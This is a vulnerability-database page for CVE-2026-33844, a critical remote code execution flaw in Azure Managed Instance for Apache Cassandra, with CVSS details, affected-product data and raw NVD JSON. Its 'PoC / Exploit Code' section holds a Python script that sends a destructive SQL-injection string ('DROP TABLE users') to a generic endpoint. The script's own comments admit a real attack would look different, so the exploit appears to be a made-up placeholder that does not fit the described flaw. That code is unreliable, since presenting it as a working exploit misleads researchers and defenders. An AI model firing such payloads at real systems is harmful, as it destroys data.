Security Vulnerability Report
中文
CVE-2026-33844 CVSS 9.0 CRITICAL

CVE-2026-33844

Published: 2026-05-07 22:16:34
Last Modified: 2026-05-08 19:48:15

Description

Improper input validation in Azure Managed Instance for Apache Cassandra allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_managed_instance_for_apache_cassandra:-:*:*:*:*:*:*:* - VULNERABLE
Azure Managed Instance for Apache Cassandra (所有未修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # PoC for CVE-2026-33844 # This script demonstrates how a malicious payload can be sent to a vulnerable endpoint. # Note: This is for educational and testing purposes only. def check_exploit(target_url, auth_token): headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload attempting to execute code via improper input validation payload = { "operation": "execute_query", "query": "'; DROP TABLE users; --" # In a real RCE scenario, this might be a serialized object or a specific command injection string } try: response = requests.post(f"{target_url}/api/v1/execute", json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential exploit successful! Check response.") print(response.text) else: print(f"[-] Exploit failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <target_url> <auth_token>") sys.exit(1) url = sys.argv[1] token = sys.argv[2] check_exploit(url, token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33844", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:34.420", "lastModified": "2026-05-08T19:48:15.363", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper input validation in Azure Managed Instance for Apache Cassandra allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_managed_instance_for_apache_cassandra:-:*:*:*:*:*:*:*", "matchCriteriaId": "110D400E-5713-4224-B11D-0AB0F76E6D9C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}